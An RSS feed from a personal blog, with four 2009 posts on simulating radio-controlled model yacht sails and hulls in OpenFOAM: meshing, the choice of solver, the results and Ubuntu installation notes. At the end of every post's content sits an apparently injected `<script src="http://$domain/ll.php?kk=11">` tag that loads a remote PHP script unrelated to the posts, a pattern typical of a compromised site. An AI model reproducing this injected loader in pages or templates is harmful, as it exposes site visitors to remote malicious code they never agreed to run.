<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>anderswallin.net &#187; cfd</title>
	<atom:link href="http://www.anderswallin.net/tag/cfd/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.anderswallin.net</link>
	<description></description>
	<lastBuildDate>Wed, 08 Feb 2012 12:05:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>CFD with OpenFOAM</title>
		<link>http://www.anderswallin.net/2009/09/cfd-with-openfoam/</link>
		<comments>http://www.anderswallin.net/2009/09/cfd-with-openfoam/#comments</comments>
		<pubDate>Sat, 26 Sep 2009 11:13:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[IOM Design]]></category>
		<category><![CDATA[cfd]]></category>
		<category><![CDATA[IOM]]></category>
		<category><![CDATA[openFOAM]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=1802</guid>
		<description><![CDATA[Some details and text on the Computational Fluid Dynamics simulations that mostly Jari has been doing lately. They are done with the open-source software package OpenFOAM, which is of course free to download and use. We run it under Ubuntu, and use fairly affordable 4-core machines with 8 Gb of RAM. You start with a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/09/iom_cfd.png"><img class="alignnone size-medium wp-image-1803" title="iom_cfd" src="http://www.anderswallin.net/wp-content/uploads/2009/09/iom_cfd-450x284.png" alt="iom_cfd" width="450" height="284" /></a></p>
<p>Some details and text on the <a href="http://en.wikipedia.org/wiki/Computational_fluid_dynamics">Computational Fluid Dynamics</a> simulations that mostly Jari has been doing lately. They are done with the open-source software package <a href="http://www.opencfd.co.uk/openfoam/">OpenFOAM</a>, which is of course free to download and use. We run it under Ubuntu, and use fairly affordable 4-core machines with 8 Gb of RAM.</p>
<p>You start with a CAD model of the geometry you want to simulate. Here the hull-shape has been taken from one program, and the sail shape from another sail-design program. They're imported into a third CAD program and joined into the model we want to simulate.</p>
<p>There are (at least!) two issues at this stage: (1) the meshing-tools that follow do not like infinitely thin surfaces, so in order for meshing to run smoothly the sails have to be drawn as having some finite thickness, about 1-2 mm in this case. We can try to reduce this in the future. (2) This is only a CFD simulation, not a fluid-structure interaction simulation. That means the geometry (sails, mast, etc) is not going to move or flex in any way in response to the fluid pressure. So the trim and shape you draw into the sails is going to stay there...</p>
<p>The geometry is exported as STL-files for each surface. Meshing then follows. It's first done with a simple program called blockMesh, and then refined close to any specified surfaces using a program called snappyHexMesh. The resulting mesh looks like this:</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/09/mesh3.png"><img class="alignnone size-medium wp-image-1804" title="mesh3" src="http://www.anderswallin.net/wp-content/uploads/2009/09/mesh3-450x281.png" alt="mesh3" width="450" height="281" /></a></p>
<p>And if we zoom in we see the smaller cell-size around the surfaces of the model:</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/09/Mesh1.png"><img class="alignnone size-medium wp-image-1805" title="Mesh1" src="http://www.anderswallin.net/wp-content/uploads/2009/09/Mesh1-450x283.png" alt="Mesh1" width="450" height="283" /></a></p>
<p>Here's another potential problem with CFD. (3) How do you know what the right mesh-size is? You don't. Decreasing the cell-size obviously leads to a more accurate simulation, but as the size of the mesh goes up the calculation time increases similarly. Some CFD/FEM-packages have adaptive solvers that can increase the mesh-resolution in areas of the simulation where it's most appropriate. I don't know if OpenFOAM has that. One simple approach is to run the same simulation with successively increasing mesh-sizes and see how the end result (e.g. drive force on the model) reaches a plateau, hopefully the correct value.</p>
<p>Then it's time to specify boundary conditions. For a wind-tunnel type of simulation the in-flow velocity on the upwind wall of our simulation-domain is fixed, and the surfaces of the model are specified as no-slip surfaces.</p>
<p>Solving follows. Now you actually have to select the physics model you want to simulate. Well that's easy, in the continuum-limit fluids should behave according to the <a href="http://en.wikipedia.org/wiki/Navier%E2%80%93Stokes_equations">Navier-Stokes equations</a>. The only problem is that these are nonlinear and difficult to solve. Some people actually do this, but it takes a big big mesh and lot's of computing power. It's called <a href="http://en.wikipedia.org/wiki/Direct_numerical_simulation">direct numerical simulation</a>. The rest of us with desktop-computers need to solve something simpler than the N-S equations. A lot of different approximations exist, so (4) how do you know which physics model to choose? The <a href="http://en.wikipedia.org/wiki/Reynolds-averaged_Navier%E2%80%93Stokes_equations">Reynolds-averaged N-S equations</a> (RANS) are a popular choice. Our simulations use the simpleFoam solver, which assumes an incompressible fluid, and includes a k-epsilon turbulence model.</p>
<p>OpenFOAM can run the solver on one CPU-core, or the mesh can be split into parts and each part of the mesh run on a separate CPU-core. These simulations usually take around 6-12 hours to complete on a single 2.5 GHz core.</p>
<p>After solving it's time to visualize the results:</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/09/FlowAtZ0.75m.png"><img class="alignnone size-medium wp-image-1806" title="FlowAtZ0.75m" src="http://www.anderswallin.net/wp-content/uploads/2009/09/FlowAtZ0.75m-449x285.png" alt="FlowAtZ0.75m" width="449" height="285" /></a></p>
<p>OpenFOAM can also integrate the pressure over select parts of the model to obtain the total force on the model. Here we chose a wind-speed and direction for which <a href="http://www.onemetre.net/Design/Windtunl/Windtunl.htm">Lester Gilbert already has some real-world data</a>. The driving and heel-forces seem to roughly agree.</p>
<p>Animations enhance the visual experience:</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="450" height="295" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/OgF5sgfkkuA&amp;hl=en&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="450" height="295" src="http://www.youtube.com/v/OgF5sgfkkuA&amp;hl=en&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Add some music and a few camera-angles, and you would think this qualifies as promotional material for any upcoming Americas Cup syndicate...</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="320" height="265" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/c33qpPHd73E&amp;hl=en&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="320" height="265" src="http://www.youtube.com/v/c33qpPHd73E&amp;hl=en&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>(To see this in bigger format, click the "YouTube" logo to go their page, and then click "HQ")</p>
<p>That's all for now. If you're a CFD-expert, please be brave and comment below on my open questions (1)-(4) !<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2009/09/cfd-with-openfoam/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Downwind IOM CFD</title>
		<link>http://www.anderswallin.net/2009/09/downwind-iom-cfd/</link>
		<comments>http://www.anderswallin.net/2009/09/downwind-iom-cfd/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 09:43:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[IOM Design]]></category>
		<category><![CDATA[cfd]]></category>
		<category><![CDATA[openFOAM]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=1796</guid>
		<description><![CDATA[Update: video removed and replaced with this one containing more awesomeness: http://www.youtube.com/watch?v=c33qpPHd73E An IOM boat+rig in the digital wind-tunnel sailing downwind. The plan is to run a few of these and compare with actual data. Available in HQ on youtube, remember to turn the sound up!]]></description>
			<content:encoded><![CDATA[<p>Update: video removed and replaced with this one containing more awesomeness: <a href="http://www.youtube.com/watch?v=c33qpPHd73E">http://www.youtube.com/watch?v=c33qpPHd73E</a></p>
<p>An IOM boat+rig in the digital wind-tunnel sailing downwind. The plan is to run a few of these and compare with <a href="http://www.onemetre.net/Design/Windtunl/Windtunl.htm">actual data</a>. Available in HQ on youtube, remember to turn the sound up!<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2009/09/downwind-iom-cfd/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Colorful Fluid Dynamics</title>
		<link>http://www.anderswallin.net/2009/09/colorful-fluid-dynamics/</link>
		<comments>http://www.anderswallin.net/2009/09/colorful-fluid-dynamics/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 10:11:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[IOM Design]]></category>
		<category><![CDATA[cfd]]></category>
		<category><![CDATA[openFOAM]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=1713</guid>
		<description><![CDATA[Jari has put quite a bit of time and effort into learning to use the OpenFOAM open-source CFD package. It's maybe not as polished and pretty as Comsol or Ansys or any of the other 10+ keur costing commercial packages, but it seems OpenFOAM has all the same solvers and physics models and is able [...]]]></description>
			<content:encoded><![CDATA[<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/FBWr2Pz1AI4&amp;hl=en&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/FBWr2Pz1AI4&amp;hl=en&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Jari has put quite a bit of time and effort into learning to use the <a href="http://www.opencfd.co.uk/openfoam/">OpenFOAM</a> open-source <a href="http://en.wikipedia.org/wiki/CFD">CFD</a> package. It's maybe not as polished and pretty as Comsol or Ansys or any of the other 10+ keur costing commercial packages, but it seems OpenFOAM has all the same solvers and physics models and is able to handle complex geometries and meshing - if you spend the time and effort to learn how it all works.</p>
<p>Stay tuned for some "digital wind-tunnel" testing of IOM sails and foils... (bring your 4/8-core machine and 8+ Gb of RAM)<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2009/09/colorful-fluid-dynamics/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OpenFOAM 1.5 on Ubuntu 8.10</title>
		<link>http://www.anderswallin.net/2009/04/openfoam-15-on-ubuntu-810/</link>
		<comments>http://www.anderswallin.net/2009/04/openfoam-15-on-ubuntu-810/#comments</comments>
		<pubDate>Sat, 11 Apr 2009 10:25:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[IOM Design]]></category>
		<category><![CDATA[cfd]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=1254</guid>
		<description><![CDATA[Although we have a general idea of how low Reynolds number foils, bulbs, and rudders should look like, we thought it would be fun to do some Colorful Fluid Dynamics to test different airfoils and configurations. It's likely that we will pick a well-known airfoil for the first set of foils and bulb for the [...]]]></description>
			<content:encoded><![CDATA[<p>Although we have a general idea of how low Reynolds number foils, bulbs, and rudders should look like, we thought it would be fun to do some <a href="http://en.wikipedia.org/wiki/Computational_fluid_dynamics">Colorful Fluid Dynamics</a> to test different airfoils and configurations. It's likely that we will pick a well-known airfoil for the first set of foils and bulb for the Pikanto project, but if anything comes out of this computational analysis then cnc-machining new moulds is not a problem.</p>
<p>There are a lot of CFD software packages out there, some expensive and some hugely expensive. The most well known open-source alternative seems to be OpenFOAM. It's not as easy to use as the fancy commercial ones, but it's well supported by both academic and industrial users, and it's free! Some installation notes, mostly for myself, on how I installed <a href="http://www.ubuntu.com/">Ubuntu 8.10</a> and <a href="http://www.opencfd.co.uk/openfoam/">OpenFOAM 1.5</a>.</p>
<ol>
<li>download 64-bit Ubuntu 8.10 iso-file and burn to CD (8.04 did not want to boot on my Q9300 cpu machine, probably a motherboard conflict?)</li>
<li>install Ubuntu as normal, run suggested updates (286 of them actually!)</li>
<li>for OpenFOAM I roughly followed instructions from here: <a href="https://help.ubuntu.com/community/OpenFOAM">https://help.ubuntu.com/community/OpenFOAM</a></li>
<li>download all the <strong>.gtgz</strong> files from <a href="http://www.opencfd.co.uk/openfoam/linux64.html">here</a>. Rename them to just <strong>.tgz</strong> so Ubuntu knows how to extract them</li>
<li>run the bashrc magic with '<strong>. $HOME/OpenFOAM/OpenFOAM-1.5/etc/bashrc</strong>' followed by '<strong>source ~/.bashrc</strong>'</li>
<li>now in OpenFOAM-1.5/bin we can try '<strong>./foamInstallationTest</strong>' which errors out because it doesn't find ssh or rsh (these are only needed for remote installations or cluster-calculations or similar I think)</li>
<li>to make <strong>foamInstallationTest </strong>happy, install ssh: <strong>sudo apt-get install ssh</strong></li>
<li>now<strong> </strong><strong>foamInstallationTest </strong>reports that all systems are go.</li>
<li>paraFoam which is used for pre- and post-processing needs QT. I'm not sure which packages exactly are required, but mine started working after installing '<strong>libqtcore4</strong>', '<strong>libqt4-assistant</strong>', '<strong>libqtgui4</strong>' and all of their dependencies<strong>. </strong>(I did this with the synaptic package manager)</li>
<li><strong>Ready!</strong></li>
</ol>
<p>Try running the tutorial cases in e.g. ~/OpenFOAM/OpenFOAM-1.5/tutorials/icoFoam/cavity. This tutorial is explained in the <a href="http://www.opencfd.co.uk/openfoam/doc/cavity.html#x5-40002.1">docs here</a>. Everything is set up already, so you only have to run <strong>blockMesh</strong> to generate the mesh, then <strong>icoFoam</strong> to do the actual calculation, and then visualize with <strong>paraFoam</strong>.</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/04/arrows.png"><img class="alignnone size-medium wp-image-1255" title="arrows" src="http://www.anderswallin.net/wp-content/uploads/2009/04/arrows-450x444.png" alt="arrows" width="450" height="444" /></a><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2009/04/openfoam-15-on-ubuntu-810/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

